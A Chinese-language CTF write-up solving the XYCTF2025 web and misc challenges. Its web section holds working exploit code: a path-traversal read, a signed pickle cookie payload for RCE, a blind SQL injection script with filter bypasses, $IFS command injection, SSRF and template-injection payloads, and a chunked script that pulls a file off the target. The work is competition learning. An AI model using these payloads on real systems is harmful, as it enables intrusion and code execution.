XYCTF2025 web 全wp
燃尽了,去年就没拿奖了,今年也失败了
ctf学习的生涯以XY开始,也以XY结束,这一年来碌碌无为,只有嗟叹
后面的比赛就不认真打了,随便看看把
cry 和re都是deepseek,就不放了,只放熟悉的web misc
不得不狠狠拷打pwn手,又暴0了
复现链接
https://gz.imxbt.cn/games/23
WEB
signin
一开始有个任意文件读取的点,过滤是可以绕过的,secret.txt读出来用做cookie签名的key
payload
?filename=./.././.././../secret.txt
审计bootle的set_cookie,和get_cookie,发现bootle的cookie数据使用pickle序列化的,直接打反序列化
直接叫ai根据bootle的代码写个对应的构造,直接用bottle本身的生成会参杂其他东西,可能会影响命令的执行
尝试弹shell失败了,就把命令结果写入文件,然后读取
脚本
import pickle, base64, hmac, hashlib
secret = b'Hell0_H@cker_Y0u_A3r_Sm@r7' # 你需要知道 secret
digestmod = hashlib.sha256 # 取决于你代码里用的
msg=''
msg = b'''cos
system
(S'cat /f* > 1.txt'
tR.'''
msg_b64 = base64.b64encode(msg)
sig = hmac.new(secret, msg_b64, digestmod=digestmod).digest()
sig_b64 = base64.b64encode(sig)
value_to_pass = f"!{sig_b64.decode()}?{msg_b64.decode()}"
print(value_to_pass)
ez_sql
一个登录框,随便输入会有个警告,说预编译绑定的和实际传过去的不一致啥的,可能有sql注入
测试可以盲注,登陆上了发现还要个key,应该要盲注出key,
过滤了or就用异或,过滤了,网上也能搜到绕过的教程,过滤空格用%09
exp
def get_column_info():
"""获取目标字段的信息"""
column = 'secret'
num=0
table = 'double_check'
# 获取信息的个数
for i in range(30):
sql = f"admin'^((select count({column}) from {table} )={i})#".replace(' ','%09')
data=f"username={sql}&password=123"
res = requests.post(url=url_target,data=data,headers=headers)
test_err(res.text)
if str_judge in res.text:
num=i
break
print(f"{column}字段有{num}条信息")
# 逐条信息爆破
for i in range(num):
length = 0
name = ''
#获取信息长度
for j in range(1,101):
sql=f"admin'^((select length({column}) from {table} limit 1 offset {i} )={j})#".replace(' ','%09')
data=f"username={sql}&password=123"
res = requests.post(url=url_target,data=data,headers=headers)
test_err(res.text)
if str_judge in res.text:
length=j
break
print(f"第{i+1}条信息长度为{length}")
#报破信息
for k in range(1,length+1):
left,right=33,127
while left<right:
mid=(left+right)//2
sql=f"admin'^(ord(substr((select {column} from {table} limit 1 offset {i} )from {k} for 1))={mid})#".replace(' ','%09')
data=f"username={sql}&password=123"
res = requests.post(url=url_target,data=data,headers=headers)
test_err(res.text)
if condition(res):
name+=chr(mid)
print(name)
break
else:
sql = make_new_sql(sql)
data=f"username={sql}&password=123"
res = requests.post(url=url_target,data=data,headers=headers)
if condition(res):
right = mid
else:
left = mid
print(f"第{i+1}条信息为:{name}")
进去后发现可以命令执行,无回显,过滤空格,写入文件就行
cat$IFS$9/f*>1.txt
fate
首先是前面的ssrf,前面+了个域名,要跳到自定义的需要加@ basectf也考过
过滤了字母,可以用0,linux 里访问0会解析为127.0.0.1
abcdefg就用二次url编码绕就行
然后来到sql查询部分,名字有json.loads
来去,json的对象是可以嵌套的,在name里也嵌套一个对象,本地测试发现loads取出后,那些检测都失效了,而且json.loads解析完的字典,转为字符串自带单引号,容易闭合,再打sql注入即可
import binascii
def string_to_binary(input_string):
binary_output = ''.join(format(ord(char), '08b') for char in input_string)
return binary_output
import json
test="""{
"name": {
"))))))) union select FATE FROM FATETABLE WHERE NAME= \\\"LAMENTXU\\\" --+": "123"
}
}"""
print(string_to_binary(test))
name=json.loads(test)['name']
if len(name) > 6:
print('error!')
if '\'' in name:
print('error!')
if ')' in name:
print('error!')
print(name)
print(len(name))
payload
?url=@0:8080/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%261=011110110000101000100000001000000010001001101110011000010110110101100101001000100011101000100000011110110000101000100000001000000010000000100000001000100010100100101001001010010010100100101001001010010010100100100000011101010110111001101001011011110110111000100000011100110110010101101100011001010110001101110100001000000100011001000001010101000100010100100000010001100101001001001111010011010010000001000110010000010101010001000101010101000100000101000010010011000100010100100000010101110100100001000101010100100100010100100000010011100100000101001101010001010011110100100000010111000010001001001100010000010100110101000101010011100101010001011000010101010101110000100010001000000010110100101101001010110010001000111010001000000010001000110001001100100011001100100010000010100010000000100000011111010000101001111101
出题人已疯
限制了很短的长度,执行py代码几乎不可能,想到pyjail有unicode绕过这个手法,本地测试发现bottle的template居然也可以,
经过测试发现可以用%ba 把o替换了,然后全部url编码一下就行,因此payload
%7b%7b%ba%70%65%6e%28%27%2f%66%6c%61%67%27%29%2e%72%65%61%64%28%29%7d%7d
出题人已疯2
把read也ban了,一样的思路,去替换,把a替换为%aa
水了个一血
%7b%7b%ba%70%65%6e%28%27%2f%66%6c%61%67%27%29%2e%72%65%aa%64%28%29%7d%7d
you can see me 1
本来没啥思路,问了出题人,提示可以request.endpoint.1
去取字符,取到endpoint 字符串r3al_ins1de_th0ught
的下标为1的字符即为3
但是感觉仅靠endpoint字符不够啊,origin、mimetype、referer都没ban也可以用
思路:
用request作起点,|attr 取属性,里面的字符串通通用request.origin.n这种来去,origin就放上字符表
原本的ssti链子
# 取eval
target = "request|attr('close')|attr('__builtins__')|attr('__getitem__')('eval')"
# rce
eval_poc="__import__('os').popen('whoami').read()"
一开始先尝试reload,但失败,发现可以直接rce,😂
ai写脚本转换为payload
import string
import re
# 定义字符集
string.printable
charset='_()|*/?:;,&>[]=<-\'". '+string.ascii_letters
def encode_word(word):
"""将字符串中的每个字符转成 request.origin.<index>,并用 ~ 拼接"""
return '~'.join(f'request.origin.{charset.index(c)}' if c in charset else c for c in word)
def get_payload(target, exclude=None, force_all=False):
if exclude is None:
exclude = []
if force_all:
# 直接整串字符替换(全替换模式)
return encode_word(target)
# 否则按 'xxx' 这种包裹的内容替换(普通模式)
def replace(match):
content = match.group(1)
if content in exclude:
return f"'{content}'" # 原样返回
else:
return encode_word(content) # 去掉引号,替换内容
return re.sub(r"'([^']+)'", replace, target)
# 示例
target = "request|attr('close')|attr('__builtins__')|attr('__getitem__')('eval')"
reload_poc = "__import__('importlib').reload(os)"
system_poc="__import__('os').popen('whoami').read()"
# 正常 payload 替换(根据引号内容)
encoded = get_payload(target, )
if __name__ =='__main__':
# eval_poc 替换(全替换)
poc = get_payload(system_poc, force_all=True)
print(charset)
print("Encoded payload:")
print(encoded)
print("Eval PoC:")
print(poc)
final_poc=f"{encoded}({poc})"
print("final PoC:")
print(final_poc)
成功执行
但是后面发现flag20多mb,base64 dump下来再转文件发现是wav,deepsound出flag
文件超级大,找ai写了分块写入的脚本
import os
import base64
import requests # 如果你是通过 HTTP 接口传参
from shell import *
chunk_size = 15000
offset = 0
outfile = open("1.txt", "w")
while True:
# 构造远程命令
cmd = f"dd if=/1.txt bs=10 skip={offset} count={chunk_size} 2>/dev/null"
target = "request|attr('close')|attr('__builtins__')|attr('__getitem__')('eval')"
eval_poc=f"__import__('os').popen('{cmd}').read()"
poc = get_payload(eval_poc, force_all=True)
final_poc=f"{encoded}({poc})"
headers={'Origin':charset}
url=f'http://eci-2zehrf7bs4ke6th7i1wx.cloudeci1.ichunqiu.com:8080/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-{{%print({final_poc})%}}'
b64_data = requests.get(url=url,headers=headers).text
b64_data=b64_data.replace('Follow-your-heart-','')
print(b64_data)
if len(b64_data)<30:
break
# 写入本地文件
outfile.write((b64_data))
offset += chunk_size
outfile.close()
print("下载完成")
you can see me 2(复现)
比2多了个不出网且无回显,有趣的是,明明题目附件代码里ban了origin,但环境测试还是能用,问了出题人说是又改回去了怕太难,
虽然,这些题本来就,不好评价
预期解法是打http响应头回显,后面发现可以创建一个static目录,然后把文件cp过去,访问/static/文件名就行,命令的执行结果也可以往那里放,flask默认开启static这个静态路由用来访问静态资源
还是思路太狭窄了,这样做容易多了
继续用上面的脚本构造payload,先base64 放过去,解码开头的发现是jpg文件头,
cp /flag_h3r3 static/3.jpg
然后访问/static/3.jpg
搞下来后,常规方法都尝试了发现不行,看出题人wp发现是lsb隐写,但我随波,stegsolve,zsteg都没出,难道要自己手动搓脚本吗,
用了出题人给的在线网站才出 https://toolgg.com/image-decoder.html
ez_puzzle
手动通过的时候是弹窗,就找alert函数
只有这两个有
下面就是解出不通关的标志,上面就是flag,把那个G < yw4换成G > yw4,在拼一次图,出flag
misc
签个到把
拿去运行没回显,问了ai说是没有输出指令,叫ai补全一下,然后出flag
XGCTF
去ctfshow找XGCTF wp
看到web3有相关字符
搜索引擎搜索得到
查看http://dragonkeeep.top/category/CISCN%E5%8D%8E%E4%B8%9C%E5%8D%97WEB-Polluted/index.html
网站源代码
中间有一段
Base64解码即为flag
mader也要当ctfer
观看视频可以发现字幕中有特殊字符
把字幕导出来,然后去除多余字符
把16进制内容复制到010,搜索文件头可能是ae文件,导入ae
查看图层,发现flag2为flag
右键编辑文本ctrl+a ctrl+c ctrl+v得出l_re@IIy_w@nn@_2_Ie@rn_AE
会飞的雷克萨斯
左上角有个御茗轩茶府的招牌,高德地图搜一下,可以找到相似的图片
flag{四川省内江市资中县春岚北路中铁城市中心内}
曼波
smn.txt 一眼看出是逆序的base64,解码后发现典型的图片头,cyberchef 转存文件
随波逐流发现图片后面有东西,直接foremost分离,有个压缩包,解压后又是一个压缩包
提示密码是名字和开赛日期,就是XYCTF2025,
最后得到两个几乎一样的图片,想到双图盲水印,bwm.py一跑就出了
![[XYCTF2025-15.png]]
gredmen
把问题描述丢给deepseek,直接看出要贪心算法来解,并给了脚本
没写自动化的,自己手动敲上去
exp
def choose_numbers_with_all_choices(level):
max_number = {1: 50, 2: 100, 3: 200}[level]
counter = {1: 19, 2: 37, 3: 76}[level]
# Precompute proper factors for each number
factors = {}
for n in range(1, max_number + 1):
factors[n] = [i for i in range(1, n) if n % i == 0]
chosen = set()
my_score = 0
opponent_score = 0
my_choices = [] # To store all numbers chosen by me
while counter > 0:
best_net = -float('inf')
best_num = None
best_opponent_gain = 0
for n in range(1, max_number + 1):
if n in chosen:
continue
# Check if at least one factor is not chosen
proper_factors = factors[n]
available_factors = [f for f in proper_factors if f not in chosen]
if not available_factors:
continue # Cannot choose this number
# Calculate opponent's gain
opponent_gain = sum(available_factors)
net = n - opponent_gain
if net > best_net:
best_net = net
best_num = n
best_opponent_gain = opponent_gain
if best_num is None:
break # No possible moves
# Update scores and chosen set
my_score += best_num
opponent_score += best_opponent_gain
my_choices.append(best_num) # Add to my choices
chosen.add(best_num)
for f in factors[best_num]:
chosen.add(f)
counter -= 1
# Add remaining numbers to opponent's score
remaining_numbers = [n for n in range(1, max_number + 1) if n not in chosen]
opponent_score += sum(remaining_numbers)
print("All numbers chosen by me in order:")
print(my_choices)
print("\nFinal Score:")
print(f"Me: {my_score}, Opponent: {opponent_score}")
print("\nRemaining numbers assigned to opponent:")
print(remaining_numbers)
# Example usage for level 1
print("Starting Level 1:")
choose_numbers_with_all_choices(1)